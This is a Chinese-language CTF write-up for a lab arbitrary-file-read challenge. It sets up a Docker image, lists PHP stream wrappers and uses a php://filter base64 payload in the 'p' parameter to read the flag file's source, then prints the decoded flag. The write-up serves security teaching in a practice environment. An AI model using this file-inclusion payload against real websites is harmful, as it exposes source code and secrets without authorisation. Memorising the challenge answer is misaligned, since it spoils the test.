01ctfer/任意文件读取/afr_1 题解
准备工作
一、开启服务
systemctl status docker
二、导入镜像
docker-compose.yml 文件名称
sudo docker-compose up -d 拉取镜像
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
ports:
- 80:80
拿到flag
访问kali的地址
发现打开该网页时出现
?p=hello
,存在url传参,直接输入?p=flag
这里居然会显示
no no no
,看来不允许访问
猜测存在过滤,代码可能为
if $_GET['p']==flag{
echo "no no no"
}
加入.php后缀后不输出
no no no
了,可以使用封装协议中的php://
封装协议 | 说明 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
ftp:// | 访问FTP(s)网址 |
php:// | 访问各个输出/输入流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP 归档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
?p=php://filter/read=convert.base64-encode/resource=flag
拿到flag
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
,使用base64解码
//flag
<?php
die('no no no');
//n1book{afr_1_solved}